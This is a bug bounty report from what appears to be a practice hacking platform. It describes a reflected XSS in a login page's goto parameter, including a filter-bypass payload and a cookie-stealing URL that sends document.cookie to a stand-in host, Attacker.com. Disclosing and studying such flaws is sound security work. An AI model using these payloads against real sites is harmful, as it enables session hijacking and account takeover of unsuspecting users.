FirstBlood-#926 — Reflective xss on login.php by goto paramter
This issue was discovered on FirstBlood v2
On 2021-10-30, newrouge Level 3 reported:
Hey, I found that hidden paramter goto= is vulnerable to reflective xss. It reflects the user input in response. Although keywords like alert, onfocus and brackets were blocked but it can still be bypassed.
-
As i have mentioned in report (https://www.bugbountyhunter.com/hackevents/report?id=478
), that goto parameter is vulnerable to xss by javascript:confirm
injection. Which will execute after victim login through the dashboard.
-
While it is also possible to inject HTML content in page and execute xss. This way victims doesn't need to log in if he is already logged in.
-
e.g. Send this URL (https://e93b0208aa41-newrouge.a.firstbloodhackers.com/login.php?goto=hello" autofocus onfocusin="confirm
1`">).
-
You will see a xss pop ups and HTML content is injected into page.
-
It is crucial to remove type=hidden
from injected tags, otherwise payload don't work.
-
e.g if you use paylod
hello" autofocus onfocusin="window.location.href=`http://Attacker.com/?${document.cookie}`" new="
-
It will become ,
and it won't work anymore.
-
let's steal victim cookies with this
Steps:
- Login as a doctor in tab.
- Now send this URL to victim( load url in same tab)
https://e93b0208aa41-newrouge.a.firstbloodhackers.com/login.php?goto=hello%22%20autofocus%20onfocusin=%22window.location.href=`http://Attacker.com/?${document.cookie}`%22%3E
-
Which have a payload like this hello" autofocus onfocusin="window.location.href=`http://Attacker.com/?${document.cookie}`">
-
After rendering it becomes
-
Now victim is redirected to attacker's server with cookies, and didn't have to login.
Thank you
newrouge
P3 Medium
Endpoint: /login.php
Parameter: ?goto
Payload: hello" autofocus onfocusin="window.location.href=`http://Attacker.com/?${document.cookie}`">
FirstBlood ID: 26
Vulnerability Type: Reflective XSS
The developers thought they had fixed ?goto= when reflected in an input tag on login.php from a similar bug (
ID 39
), but because this endpoint uses legacy code their changes were not applied here and thus the XSS was forgotten.